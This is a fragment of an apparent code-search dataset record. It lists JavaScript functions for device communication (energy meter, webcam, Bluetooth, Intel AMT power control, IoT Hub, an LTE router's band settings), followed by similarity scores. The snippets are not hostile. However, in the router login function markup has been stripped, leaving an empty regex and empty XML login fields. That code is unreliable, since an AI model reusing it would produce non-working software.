{\\r\\n\\t\\t\\t//----- Real data ----------------------\\r\\n\\t\\t\\t\\tprocessDeviceCommand(request, response)\\r\\n\\t\\t\\t}\\r\\n\\t\\t\\tbreak\\r\\n\\t\\r\\n\\t\\t//---- Energy Meter Simulated Data Return ---------------\\r\\n\\t\\tcase \\\"emeterCmd\\\":\\r\\n\\t\\t\\tvar action = request.headers[\\\"action\\\"]\\r\\n\\t\\t\\tvar engrCmd = action.substring(0,3)\\r\\nconsole.log(\\\"engrCmd = \\\" + engrCmd)\\r\\n\\t\\t\\tvar engrData = action.substring(3)\\r\\nconsole.log(\\\"engrData = \\\" + engrData)\\r\\n\\t\\t\\tif (engrCmd == \\\"Con\\\") {\\r\\n\\t\\t\\t\\tresponse.setHeader(\\\"action\\\", \\\"useTodayResponse\\\")\\r\\n\\t\\t\\t} else {\\r\\n\\t\\t\\t\\tresponse.setHeader(\\\"action\\\", \\\"engrStatsResponse\\\")\\r\\n\\t\\t\\t}\\r\\n\\t\\t\\tvar respData = \\\"\\\"\\r\\n\\t\\t\\tswitch(engrData) {\\r\\n\\t\\t\\t\\tcase \\\"DecWatts\\\":\\r\\n\\t\\t\\t\\t\\trespData = DecWatts\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tcase \\\"DecMWatts\\\":\\r\\n\\t\\t\\t\\t\\trespData = DecMWatts\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tcase \\\"JanWatts\\\":\\r\\n\\t\\t\\t\\t\\trespData = JanWatts\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tcase \\\"JanMWatts\\\":\\r\\n\\t\\t\\t\\t\\trespData = JanMWatts\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tcase \\\"FebWatts\\\":\\r\\n\\t\\t\\t\\t\\trespData = FebWatts\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tcase \\\"FebMWatts\\\":\\r\\n\\t\\t\\t\\t\\trespData = FebMWatts\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tcase \\\"MarWatts\\\":\\r\\n\\t\\t\\t\\t\\trespData = MarWatts\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tcase \\\"MarMWatts\\\":\\r\\n\\t\\t\\t\\t\\trespData = MarMWatts\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tcase \\\"Day1Watts\\\":\\r\\n\\t\\t\\t\\t\\trespData = Day1Watts\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tcase \\\"Day1MWatts\\\":\\r\\n\\t\\t\\t\\t\\trespData = Day1MWatts\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tcase \\\"Day2Watts\\\":\\r\\n\\t\\t\\t\\t\\trespData = Day2Watts\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tcase \\\"Day2MWatts\\\":\\r\\n\\t\\t\\t\\t\\trespData = Day2MWatts\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tcase \\\"Day3Watts\\\":\\r\\n\\t\\t\\t\\t\\trespData = Day3Watts\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tcase \\\"Day3MWatts\\\":\\r\\n\\t\\t\\t\\t\\trespData = Day3MWatts\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tdefault:\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t}\\r\\nconsole.log(respData)\\r\\n\\t\\t\\tresponse.setHeader(\\\"cmd-response\\\", respData)\\r\\n\\t\\t\\tresponse.end()\\r\\n\\t\\t\\tbreak\\r\\n\\t\\tdefault:\\r\\n\\t\\t\\tresponse.setHeader(\\\"cmd-response\\\", \\\"InvalidHubCmd\\\")\\r\\n\\t\\t\\tresponse.end()\\r\\n\\t\\t\\tvar respMsg = \\\"#### Invalid Command ####\\\"\\r\\n\\t\\t\\tvar respMsg = new Date() + \\\"\\\\n\\\\r#### Invalid Command from IP\\\" + deviceIP + \\\" ####\\\\n\\\\r\\\"\\r\\n\\t\\t\\tconsole.log(respMsg)\\r\\n\\t\\t\\tlogResponse(respMsg)\\r\\n\\t}\\r\\n}\",\n \"start() {\\n let constraints = {\\n video: {\\n facingMode: 'user',\\n height: { min: 360, ideal: 720, max: 1080 },\\n deviceId: localStorage.getItem('deviceId')\\n },\\n audio: true\\n };\\n\\n // navigator.mediaDevices.enumerateDevices()\\n // .then(dd=> { \\n // dd.map(device => {\\n // if (device.kind == 'videoinput' && device.label == DEVICE) {\\n // constraints.video.deviceId = device.deviceId;\\n // }\\n // })\\n // }) \\n\\n // navigator.usb.requestDevice({filters:[]})\\n // .then(selectedDevice => {\\n // device = selectedDevice;\\n // console.log('selectedDevice', device, selectedDevice);\\n // return device.open(); // Begin a session.\\n // })\\n // .then(() => {\\n // console.log('daada', device.selectConfiguration);\\n // device.selectConfiguration(1)}) // Select configuration #1 for the device.\\n // .then(() => {\\n // console.log('daada', device.claimInterface);\\n // device.claimInterface(0)}) // Request exclusive control over interface #2.\\n // .then(() => {\\n // console.log('daada', device.controlTransferOut);\\n // device.controlTransferOut({\\n // requestType: 'class',\\n // recipient: 'interface',\\n // request: 0x22,\\n // value: 0x01,\\n // index: 0x02})}) // Ready to receive data\\n // .then(() => {\\n // console.log('dedde', device);\\n // device.transferIn(5, 64)\\n // }) // Waiting for 64 bytes of data from endpoint #5.\\n // .then(result => {\\n // let decoder = new TextDecoder();\\n // console.log('decoder', decoder, result);\\n // console.log('Received: ' + decoder.decode(result.data));\\n // })\\n // .catch(error => { console.log('this.error', error); });\\n console.log('constraints', constraints)\\n\\n setTimeout(() => {\\n // constraints.video.deviceId = localStorage.getItem('deviceId');\\n navigator.mediaDevices\\n .getUserMedia(constraints)\\n .then((stream) => {\\n this.stream = stream;\\n this.emit('stream', stream);\\n })\\n .catch((err) => {\\n if (err instanceof DOMException) {\\n alert('Cannot open webcam and/or microphone');\\n } else {\\n console.log(err);\\n }\\n });\\n }, 3000)\\n\\n return this;\\n }\",\n \"function connectviaBT() {\\r\\n\\t// initialize bluetooth and setup an event listener\\r\\n\\t//todo: refactor name mWebSocket_InitAsync\\r\\n\\tdocument.getElementById( \\\"idStatus\\\").innerHTML=\\\"Connecting via BT\\\";\\r\\n\\t//returns data from BT as Uint8Array [1..20]\\r\\n\\t//Todo: write what this does in a comment is this the Ternary Operator? (variable = (condition) ? expressionTrue : expressionFalse)\\r\\n\\treturn (bluetoothDeviceDetected ? Promise.resolve() : getDeviceInfo() && isWebBluetoothEnabled())\\r\\n\\t.then(connectGATT) //todo:@FC please explain what is happening here\\r\\n\\t.then(_ => {\\r\\n\\t\\tconsole.log('Evaluating signal of interest...')\\r\\n\\t\\treturn gattCharacteristic.readValue()\\t//receiving data from BT - Uint8Array [1..20]\\r\\n\\t})\\r\\n\\t.catch(error => {\\r\\n\\t\\tconsole.log('Waiting to start reading: ' + error)\\r\\n\\t})\\r\\n}\",\n \"function performAdvancedPowerActionResponse(stack, name, responses, status) {\\n const dev = stack.dev;\\n const action = dev.powerAction;\\n delete dev.powerAction;\\n if (obj.amtDevices[dev.nodeid] == null) return; // Device no longer exists, ignore this response.\\n if (status != 200) return;\\n if ((responses['AMT_BootSettingData'] == null) || (responses['AMT_BootSettingData'].response == null)) return;\\n var bootSettingData = responses['AMT_BootSettingData'].response;\\n\\n // Clean up parameters\\n bootSettingData['ConfigurationDataReset'] = false;\\n delete bootSettingData['WinREBootEnabled'];\\n delete bootSettingData['UEFILocalPBABootEnabled'];\\n delete bootSettingData['UEFIHTTPSBootEnabled'];\\n delete bootSettingData['SecureBootControlEnabled'];\\n delete bootSettingData['BootguardStatus'];\\n delete bootSettingData['OptionsCleared'];\\n delete bootSettingData['BIOSLastStatus'];\\n delete bootSettingData['UefiBootParametersArray'];\\n delete bootSettingData['RPEEnabled'];\\n delete bootSettingData['RSEPassword']\\n\\n // Ready boot parameters\\n bootSettingData['BIOSSetup'] = ((action >= 11) && (action <= 14));\\n bootSettingData['UseSOL'] = ((action >= 13) && (action <= 14));\\n if ((action == 11) || (action == 13)) { dev.powerAction = 2; } // Power on\\n if ((action == 12) || (action == 14)) { dev.powerAction = 10; } // Reset\\n\\n // Set boot parameters\\n dev.amtstack.Put('AMT_BootSettingData', bootSettingData, function (stack, name, response, status, tag) {\\n const dev = stack.dev;\\n if ((obj.amtDevices[dev.nodeid] == null) || (status != 200)) return; // Device no longer exists or error\\n // Set boot config\\n dev.amtstack.SetBootConfigRole(1, function (stack, name, response, status, tag) {\\n const dev = stack.dev;\\n if ((obj.amtDevices[dev.nodeid] == null) || (status != 200)) return; // Device no longer exists or error\\n // Set boot order\\n dev.amtstack.CIM_BootConfigSetting_ChangeBootOrder(null, function (stack, name, response, status) {\\n const dev = stack.dev;\\n if ((obj.amtDevices[dev.nodeid] == null) || (status != 200)) return; // Device no longer exists or error\\n // Perform power action\\n try { dev.amtstack.RequestPowerStateChange(dev.powerAction, performPowerActionResponse); } catch (ex) { }\\n }, 0, 1);\\n }, 0, 1);\\n }, 0, 1);\\n }\",\n \"function SendPortSync() {\\n}\",\n \"function webRtcSendOffer(clientName, offerValue) {\\r\\n\\tif (typeof thisPeersName != \\\"string\\\") {\\r\\n\\t\\tconsole.log(\\\"Please set peer name before calling this function\\\");\\r\\n\\t\\treturn;\\r\\n\\t}\\r\\n\\t\\r\\n var xhttp = new XMLHttpRequest();\\r\\n\\txhttp.onreadystatechange = function() {\\r\\n\\t\\tif (xhttp.readyState == 4 && xhttp.status == 200) {\\r\\n \\r\\n //see if there is a client asking to connect\\r\\n if (typeof xhttp.responseText == \\\"string\\\" && xhttp.responseText.length > 0) {\\r\\n ;\\r\\n }\\r\\n \\r\\n\\t\\t}\\r\\n\\t};\\r\\n var full = location.protocol+'//'+location.hostname+(location.port ? ':'+location.port: ''); \\r\\n \\r\\n\\t//xhttp.open(\\\"GET\\\", \\\"http://\\\" + window.location.host + \\\"/ioInterface?command=getOtsValues\\\", true);\\r\\n var message = {messageType: 'offer', offer: offerValue};\\r\\n var url = full + \\\"/webrtc?command=writeMessage&clientName=\\\" + thisPeersName + \\\"&destinationName=\\\" + clientName + \\\"&message=\\\" + btoa(JSON.stringify(message));\\r\\n \\r\\n //console.log(url.length, url);\\r\\n xhttp.open(\\\"GET\\\", url, true);\\r\\n\\txhttp.send();\\t \\r\\n}\",\n \"sendMakeBetShan2(_chipbet) {\\n cc.NGWlog(\\\"Vua dat cuoc =\\\" + _chipbet);\\n var data = {\\n evt: \\\"bm\\\",\\n M: _chipbet\\n };\\n this.sendDataGame(JSON.stringify(data));\\n }\",\n \"function IoTHubGetDeviceInfo(deviceId, iothubname) {\\n console.log(\\\"Getting Device Info : \\\" + deviceId);\\n $('#IoTHub_Busy_Indicator').css('display', 'flex');\\n $.ajax({\\n type: \\\"GET\\\",\\n url: '/home/IoTHubGetDeviceInfo',\\n data: { deviceId: deviceId },\\n success: function (response) {\\n $('#deviceConnectionState').html(response.connectionState);\\n\\n if (response.connectionState == \\\"Disconnected\\\") {\\n $('#deviceConnectionState').css(\\\"color\\\", 'red');\\n }\\n else {\\n $('#deviceConnectionState').css(\\\"color\\\", 'blue');\\n }\\n $('#deviceModelId').html(response.deviceModelId);\\n $('#deviceConnectionString').html(\\\"HostName=\\\" + iothubname + \\\";DeviceId=\\\" + response.deviceId + \\\";SharedAccessKey=\\\" + response.symmetricKey);\\n $('#deviceKey').html(response.symmetricKey);\\n\\n DisableButton($('#btnDeviceTwin'), false);\\n\\n if (response.deviceModelId != null && response.deviceModelId.length > 0) {\\n DisableButton($('#btnDeviceModelIdCopy'), false);\\n }\\n else\\n {\\n DisableButton($('#btnDeviceModelIdCopy'), true);\\n }\\n\\n if (response.symmetricKey.length > 0) {\\n DisableButton($('#btnDeviceConnectionStringCopy'), false);\\n DisableButton($('#btnDeviceKeyCopy'), false);\\n }\\n else {\\n DisableButton($('#btnDeviceConnectionStringCopy'), true);\\n DisableButton($('#btnDeviceKeyCopy'), true);\\n }\\n\\n //$('#btnDeviceModelIdCopy').prop('disabled', true);\\n return true;\\n },\\n error: function (jqXHR) {\\n // clear all fields\\n IoTHubModalClear();\\n alert(\\\" Status: \\\" + jqXHR.status + \\\" \\\" + jqXHR.responseText);\\n return false;\\n }\\n });\\n $('#IoTHub_Busy_Indicator').hide();\\n\\n}\",\n \"function callAPI(req,res,handleResponse){\\n var host = 'www.blueworkslive.com';\\n var username = 'xxxx';\\n var password = 'yyyy';\\n var path = '/api/Auth';\\n var headers = {\\n 'Authorization': 'Basic ' + new Buffer(username+':'+password).toString('base64'),\\n };\\n var options = {\\n host: host,\\n path: path,\\n method: 'GET',\\n headers: headers\\n };\\n var bwlResData = {};\\n console.log('BwlApiCall: Request '+options.method+' https://'+options.host+options.path);\\n var bwlRequest = https.request(options, function(bwlResponse) {\\n\\tconsole.log(\\\"BwlApiCall: Response status=\\\"+bwlResponse.statusCode);\\n\\tbwlResData.status = bwlResponse.statusCode; // statusCode >= 200 and < 300 is OK\\n\\tbwlResData.headers = bwlResponse.headers;\\n\\tvar bufferData = [];\\n\\tbwlResponse.on('data', function(data) {\\n\\t bufferData.push(data);\\n console.info('BwlApiCall: Response data received');\\n\\t});\\n\\tbwlResponse.on('end', function() {\\n console.info('BwlApiCall: completed, calling callback');\\n\\t bwlResData.data = Buffer.concat(bufferData);\\n\\t handleResponse(req, res, bwlResData);\\n });\\n });\\n/* if ((reqData.method == \\\"post\\\" || reqData.method == \\\"put\\\") && reqData.senddata) {\\n console.log(reqData.method+' sending data: '+reqData.senddata);\\n bwlRequest.write(reqData.senddata);\\n } */\\n bwlRequest.end();\\n bwlRequest.on('error', function(e){\\n console.error('BwlApiCall: REQUEST-ERROR '+e);\\n });\\n}\",\n \"function sendConvertRAIDType(cardchar) {\\n\\t//collect data from web UI\\n\\tvar NewRAIDType = document.getElementById(\\\"RAIDType\\\"+cardchar).selectedIndex - 1;\\n\\tvar GUID = $(\\\"#GUID\\\"+cardchar).html();\\n\\n\\t//store the command which is in progress\\n\\t$(\\\"#cardProgCmd\\\"+cardchar).html(JS_CONVERT_RAID_TYPE_REQ);\\n\\n\\t//console.log(\\\"Convert GUID = \\\"+GUID);\\n\\n\\t//disable \\\"Convert\\\" button\\n\\t$(\\\"#confirmConvertRAIDType\\\"+cardchar).prop(\\\"disabled\\\", true);\\n\\n\\t//send command\\n\\tConvertRAIDType(GUID, NewRAIDType);\\n}\",\n \"async function blxSendBinblock (data, fname, syncflag, mem_addr) {\\n let txlen_total = data.length\\n let tx_pos = 0\\n const time0 = Date.now() - 1000\\n let tw_old = time0\\n let tw_new // Working Time fuer Fortschritt\\n let sblk_len = (max_ble_blocklen - 2) & 0xFFFC // Initial MAX Size Block, but Multi of 4\\n\\n if (data.length > 1000) { // Mehr als 1k Daten UND File: -> FAST\\n\\n if(fname === undefined){\\n // Might bee too fast for Download to CPU Memory, set to slow with .cf 15 or greater!!!\\n if(con_memfast_speed < 15)\\n terminalPrint(\\\"*** WARNING: Memory Connection Speed: \\\" + con_memfast_speed ) \\n const os = con_fast_speed // temporaer mit MEMORY Speed\\n con_fast_speed = con_memfast_speed\\n await blxConnectionFast()\\n con_fast_speed = os\\n }else{\\n await blxConnectionFast()\\n } \\n if (blxErrMsg) return\\n // console.log(\\\"Fast OK\\\");\\n }\\n if(fname!== undefined) await blxDeviceCmd('P' + (syncflag ? '!' : '') + ':' + fname, 5000) // P wie PUT\\n else {\\n {\\n let wadr = mem_addr\\n let wsize = txlen_total\\n const sector_size = 4096 // Fix fuer nrF52\\n // Sektoren in einzeln Loeschen, da langsam\\n while(wsize>0){\\n await blxDeviceCmd('K:' + wadr + ' ' + 1 , 5000) \\n if (blxErrMsg) return\\n wadr+=sector_size\\n wsize-=sector_size\\n }\\n }\\n await blxDeviceCmd('I:' + mem_addr, 5000) // I wie Internal\\n }\\n if (blxErrMsg) return\\n\\n try {\\n for (;;) {\\n let blen = txlen_total // Blocklen\\n if (blen > sblk_len ) blen = sblk_len\\n const bdata = new Uint8Array(blen + 2)\\n bdata[0] = blen\\n bdata[1] = BB_BLE_BINBLK_IN // Binary Data\\n // Aufgabe: data[tx_pos] an bdata[2] kopieren\\n const datablock = data.subarray(tx_pos, tx_pos + blen)\\n bdata.set(datablock, 2) // Copies datablock into bdata\\n\\n await NUS_data_chara_write.writeValue(bdata.buffer)\\n\\n // console.log(bdata);\\n txlen_total -= blen\\n tx_pos += blen\\n if (!txlen_total) {\\n const dtime = Date.now() - time0\\n terminalPrint('Transfer OK (' + dtime / 1000 + ' sec, ' + ((data.length / dtime * 1000).toFixed(0)) + ' Bytes/sec)')\\n break\\n }\\n tw_new = Date.now()\\n if (tw_new - tw_old > 1000) { // Alle Sekunde Fortschritt\\n tw_old = tw_new\\n terminalPrint(((tx_pos * 100) / data.length).toFixed(0) + '% / ' + tx_pos + ' Bytes')\\n }\\n }\\n } catch (error) {\\n if (full_connected_flag === false) blxErrMsg = 'ERROR: Connection lost'\\n else blxErrMsg = 'ERROR: Transfer ' + error\\n return\\n }\\n\\n await blxDeviceCmd('L', 5000) // Close\\n\\n if (blxErrMsg) return\\n if (data.length > 1000) { // Mehr als 1k Daten: -> Wieder SLOW\\n await blxConnectionSlow()\\n }\\n }\",\n \"function processData(buffer) {\\n console.log(\\\"Status: \\\"+status);\\n console.log('Read message: \\\"' + buffer + '\\\"');\\n if (buffer.toString() == 'Ok!' && status == 0 && type !=1) {\\n //Emepzamos el envio\\n rqMsg = '';\\n\\n while ((pxInd < w * h) && (rqMsg.length < 256 - 12)) { //Bytes disponibles\\n rqMsg += data[hexInd];\\n pxInd += 4;\\n hexInd++;\\n }\\n\\n if (pxInd >= w * h) status++; \\n\\n const arr = new Uint16Array(2);\\n\\n buffIndCalc = (rqMsg.length + 12) / 2;\\n const buffInd = Buffer.alloc(2);\\n buffInd.writeUInt16LE(buffIndCalc);\\n\\n dSizeCalc += buffIndCalc;\\n\\n const dSize = Buffer.alloc(3);\\n dSize.writeUInt16LE(dSizeCalc, 0, 3)\\n\\n\\n var bufferToSend = Buffer.concat([Buffer.from('L', 'ascii'), buffInd, dSize, Buffer.from(rqMsg, 'hex')]);\\n console.log(\\\"Buffer to send1: \\\" + bufferToSend.toString('hex'));\\n\\n\\n epdCharacteristic.write(bufferToSend, function(err, bytesWritten) {\\n if (err) console.log(err);\\n console.log(\\\"wrote: L\\\");\\n });\\n } else if (buffer.toString() == 'Ok!' && status == 0 && type == 1) {\\n //Emepzamos el envio pantalla a color\\n rqMsg = '';\\n\\n while ((pxInd < w * h) && (rqMsg.length < 256 - 12)) { //Bytes disponibles\\n rqMsg += data[hexInd];\\n pxInd += 2; //cada pixel son 2 bits, por eso para cada hex tenemos avanzar 2 pixeles.\\n hexInd++;\\n }\\n if (pxInd >= w * h) status++;\\n\\n const arr = new Uint16Array(2);\\n\\n buffIndCalc = (rqMsg.length + 12) / 2;\\n const buffInd = Buffer.alloc(2);\\n buffInd.writeUInt16LE(buffIndCalc);\\n\\n dSizeCalc += buffIndCalc;\\n\\n const dSize = Buffer.alloc(3);\\n dSize.writeUInt16LE(dSizeCalc, 0, 3);\\n\\n\\n var bufferToSend = Buffer.concat([Buffer.from('L', 'ascii'), buffInd, dSize, Buffer.from(rqMsg, 'hex')]);\\n console.log(\\\"Buffer to send info: dSizeCalc\\\"+dSizeCalc+\\\" buffIndCalc: \\\"+buffIndCalc+\\\" pxInd: \\\"+pxInd);\\n console.log(\\\"Buffer to send2: \\\" + bufferToSend.toString('hex'));\\n\\n\\n epdCharacteristic.write(bufferToSend, function(err, bytesWritten) {\\n if (err) console.log(err);\\n console.log(\\\"wrote: L\\\");\\n });\\n } else if (buffer.toString() == 'Ok!' && status == 1 && type != 1) {\\n //Hacemos el Show\\n epdCharacteristic.write(Buffer.from('S', 'ascii'), function(err, bytesWritten) {\\n if (err) console.log(err);\\n console.log(\\\"wrote: S\\\");\\n });\\n status = 4;\\n console.log(\\\"Desconectamos....\\\");\\n clearTimeout(timeout);\\n screenDisconect(false);\\n return response.send({\\n message: 'Success at updating the device: ' + macaddress,\\n });\\n } else if (buffer.toString() == 'Ok!' && status == 1 && type == 1) {\\n //Hacemos el Next\\n\\n pxInd =0;\\n hexInd = 0;\\n\\n epdCharacteristic.write(Buffer.from('N', 'ascii'), function(err, bytesWritten) {\\n if (err) console.log(err);\\n console.log(\\\"wrote: N\\\"); \\n });\\n status = 2;\\n } else if (buffer.toString() == 'Ok!' && status == 2 && type == 1) {\\n //Hacemos el Load del Next\\n //let dataNext = req.body.dataNext;\\n //Emepzamos el envio\\n rqMsg = '';\\n\\n while ((pxInd < w * h) && (rqMsg.length < 256 - 12)) { //Bytes disponibles\\n rqMsg += dataNext[hexInd];\\n pxInd += 4; //en caso de rojo, cada pixel es un bit.\\n hexInd++;\\n }\\n if (pxInd >= w * h) status = 3;\\n\\n const arr = new Uint16Array(2);\\n\\n buffIndCalc = (rqMsg.length + 12) / 2;\\n const buffInd = Buffer.alloc(2);\\n buffInd.writeUInt16LE(buffIndCalc);\\n\\n dSizeCalc += buffIndCalc;\\n\\n const dSize = Buffer.alloc(3);\\n dSize.writeUInt16LE(dSizeCalc, 0, 3)\\n\\n\\n var bufferToSend = Buffer.concat([Buffer.from('L', 'ascii'), buffInd, dSize, Buffer.from(rqMsg, 'hex')]);\\n console.log(\\\"N_Buffer to send3: \\\" + bufferToSend.toString('hex'));\\n\\n\\n epdCharacteristic.write(bufferToSend, function(err, bytesWritten) {\\n if (err) console.log(err);\\n console.log(\\\"wrote: L\\\");\\n });\\n } else if (buffer.toString() == 'Ok!' && status == 3 && type == 1) {\\n console.log(\\\"Finalizamos...\\\");\\n //Hacemos el Show\\n epdCharacteristic.write(Buffer.from('S', 'ascii'), function(err, bytesWritten) {\\n if (err) console.log(err);\\n console.log(\\\"wrote: S\\\");\\n });\\n status = 4;\\n console.log(\\\"Desconectamos....\\\");\\n clearTimeout(timeout);\\n screenDisconect(false);\\n return response.send({\\n message: 'Success at updating the device: ' + macaddress,\\n });\\n }\\n trytoread();\\n }\",\n \"function setDeviceEnabledBand() {\\n\\tconsole.log('info: setDeviceEnabledBand() is called.');\\n\\n\\t// Get csrf_token\\n\\tvar api = '/';\\n\\tvar url = 'http://' + document.apiform.address.value + api;\\n\\tupdateMessage(url, '', 'Connecting...', '');\\n\\n\\tvar xhr = new XMLHttpRequest();\\n\\txhr.open('GET', url, false);\\n\\txhr.withCredentials = true;\\n\\txhr.onerror = function(e) {\\n\\t\\tupdateMessage(url, xhr.statusText, 'Error: Cannot access.', '');\\n\\t};\\n\\txhr.send(null);\\n\\n\\tif (xhr.status === 200) {\\n\\t\\tvar str = xhr.responseText;\\n\\t\\tvar csrf_token = str.match(//i);\\n\\t\\tcsrf_token = csrf_token[1];\\n\\t\\tif (csrf_token != null) {\\n\\t\\t\\tupdateMessage(url, xhr.statusText, 'Success to get a token: ' + csrf_token, '');\\n\\t\\t} else {\\n\\t\\t\\tupdateMessage(url, xhr.statusText, 'Error: Fail to get the token.', '');\\n\\t\\t\\treturn -1;\\n\\t\\t}\\n\\n\\t\\t// Login\\n\\t\\tapi = '/api/user/login';\\n\\t\\turl = 'http://' + document.apiform.address.value + api;\\n\\t\\tupdateMessage(url, '', 'Connecting...', '');\\n\\n\\t\\txhr.open('POST', url, false);\\n\\t\\txhr.onerror = function(e) {\\n\\t\\t\\tupdateMessage(url, xhr.statusText, 'Error: Cannot access.', '');\\n\\t\\t};\\n\\n\\t\\t// Generate credential\\n\\t\\tvar username = 'admin';\\n\\t\\tvar password = document.apiform.password.value;\\n\\t\\tvar password_hash = encryptSHA256(username + encryptSHA256(password) + csrf_token);\\n\\n\\t\\tvar login_params = '';\\n\\t\\tlogin_params += '\\\\r';\\n\\t\\tlogin_params += '\\\\r';\\n\\t\\tlogin_params += '' + username + ' \\\\r';\\n\\t\\tlogin_params += '' + password_hash + ' \\\\r';\\n\\t\\tlogin_params += '4 \\\\r';\\n\\t\\tlogin_params += ' \\\\r';\\n\\t\\tconsole.log(login_params);\\n\\n\\t\\txhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');\\n\\t\\txhr.setRequestHeader('__RequestVerificationToken', csrf_token);\\n\\t\\txhr.send(login_params);\\n\\n\\t\\t// Login Result\\n\\t\\tif (xhr.status === 200) {\\n\\t\\t\\t\\n\\t\\t\\tvar error_code = xhr.responseText.match(/([0-9]+)<\\\\/code>/i);\\n\\t\\t\\tif (error_code == null) {\\n\\t\\t\\t\\tupdateMessage(url, xhr.statusText, 'Login Successful!', xhr.responseText);\\n\\n\\t\\t\\t\\t// Set LTE Bands\\n\\t\\t\\t\\tapi = '/api/net/net-mode';\\n\\t\\t\\t\\turl = 'http://' + document.apiform.address.value + api;\\n\\t\\t\\t\\tupdateMessage(url, '', 'Connecting...', '')\\n\\t\\t\\t\\ttoken = xhr.getResponseHeader('__RequestVerificationTokenOne');\\n\\t\\t\\t\\txhr.open('POST', url, true);\\n\\t\\t\\t\\txhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');\\n\\t\\t\\t\\txhr.setRequestHeader('__RequestVerificationToken', token);\\n\\t\\t\\t\\txhr.onload = function(e) {\\n\\t\\t\\t\\t\\terror_code = xhr.responseText.match(/([0-9]+)<\\\\/code>/i);\\n\\t\\t\\t\\t\\tconsole.log(error_code);\\n\\t\\t\\t\\t\\tif (error_code == null) {\\n\\t\\t\\t\\t\\t\\tupdateMessage(url, xhr.statusText, 'Change Successful!', xhr.responseText);\\n\\t\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\t\\tupdateMessage(url, xhr.statusText, 'Error: ' + ERRORS[error_code[1]], xhr.responseText);\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t};\\n\\t\\t\\t\\txhr.onerror = function(e) {\\n\\t\\t\\t\\t\\tupdateMessage(url, xhr.statusText, 'Error: Check Parameters.', '')\\n\\t\\t\\t\\t};\\n\\t\\t\\t\\txhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset=\\\"UTF-8\\\"');\\n\\t\\t\\t\\tconsole.log(document.apiform.reqparams.value);\\n\\t\\t\\t\\txhr.send(document.apiform.reqparams.value);\\n\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tupdateMessage(url, xhr.statusText, 'Error: ' + ERRORS[error_code[1]], xhr.responseText);\\n\\t\\t\\t}\\n\\t\\t\\t\\n\\t\\t} else {\\n\\t\\t\\tupdateMessage(url, xhr.statusText, 'Error: Cannot access.', xhr.responseText);\\n\\t\\t}\\n\\n\\t} else {\\n\\t\\tupdateMessage(url, xhr.statusText, 'Error: Check the address or your browser status (Cross-Origin Resource Sharing).', '')\\n\\t}\\n}\",\n \"async send() {\\n const onComplete = this.props.navigation.state.params.onComplete;\\n try {\\n let done = await this.props.wire.send();\\n\\n if (!done) {\\n return;\\n }\\n\\n if (onComplete) onComplete();\\n this.props.navigation.goBack();\\n } catch (e) {\\n if (!e || e.message !== 'E_CANCELLED') {\\n console.error('Wire/send()', e);\\n\\n Alert.alert(\\n 'There was a problem sending wire',\\n (e && e.message) || 'Unknown internal error',\\n [{ text: 'OK' }],\\n { cancelable: false }\\n );\\n }\\n }\\n }\",\n \"function onOpen() {\\n console.log('Port Open');\\n console.log(`Baud Rate: ${port.options.baudRate}`);\\n const outString = String.fromCharCode(output);\\n console.log(`Sent:\\\\t\\\\t${outString}`);\\n port.write(outString);\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.6560741","0.6358267","0.63325894","0.61360186","0.6115113","0.60801035","0.6074475","0.60720617","0.6020907","0.58643204","0.5797482","0.57846606","0.57151884","0.57029116","0.56599176","0.5598955","0.55791366","0.55470836","0.55214137","0.54890126","0.54794246","0.5467407","0.5458962","0.54161745","0.5398611","0.5372667","0.53533864","0.5348324","0.532022","0.5315319","0.5274399","0.52686507","0.52545553","0.52516514","0.5248442","0.5238125","0.52163774","0.521211","0.5209181","0.51974756","0.5196469","0.51837546","0.5177954","0.516178","0.51512545","0.5147174","0.5141254","0.5138159","0.5130048","0.5121737","0.51207095","0.51155424","0.5093415","0.50916004","0.5079893","0.507947","0.5044861","0.50287235","0.50232357","0.5014572","0.5011383","0.50094104","0.50059235","0.49870503","0.49651325","0.49646312","0.4957968","0.49397355","0.49355248","0.4933031","0.49305695","0.49214342","0.49206194","0.49155226","0.4906333","0.49052852","0.49001572","0.4897377","0.48950967","0.48870608","0.48804173","0.4879315","0.4852489","0.48491997","0.4846404","0.48336947","0.48326552","0.48210114","0.48195332","0.48153195","0.4812433","0.48043644","0.4793943","0.47933307","0.4783341","0.47805634","0.47763786","0.47715887","0.47614968","0.47608984","0.47510663"],"string":"[\n \"0.6560741\",\n \"0.6358267\",\n \"0.63325894\",\n \"0.61360186\",\n \"0.6115113\",\n \"0.60801035\",\n \"0.6074475\",\n \"0.60720617\",\n \"0.6020907\",\n \"0.58643204\",\n \"0.5797482\",\n \"0.57846606\",\n \"0.57151884\",\n \"0.57029116\",\n \"0.56599176\",\n \"0.5598955\",\n \"0.55791366\",\n \"0.55470836\",\n \"0.55214137\",\n \"0.54890126\",\n \"0.54794246\",\n \"0.5467407\",\n \"0.5458962\",\n \"0.54161745\",\n \"0.5398611\",\n \"0.5372667\",\n \"0.53533864\",\n \"0.5348324\",\n \"0.532022\",\n \"0.5315319\",\n \"0.5274399\",\n \"0.52686507\",\n \"0.52545553\",\n \"0.52516514\",\n \"0.5248442\",\n \"0.5238125\",\n 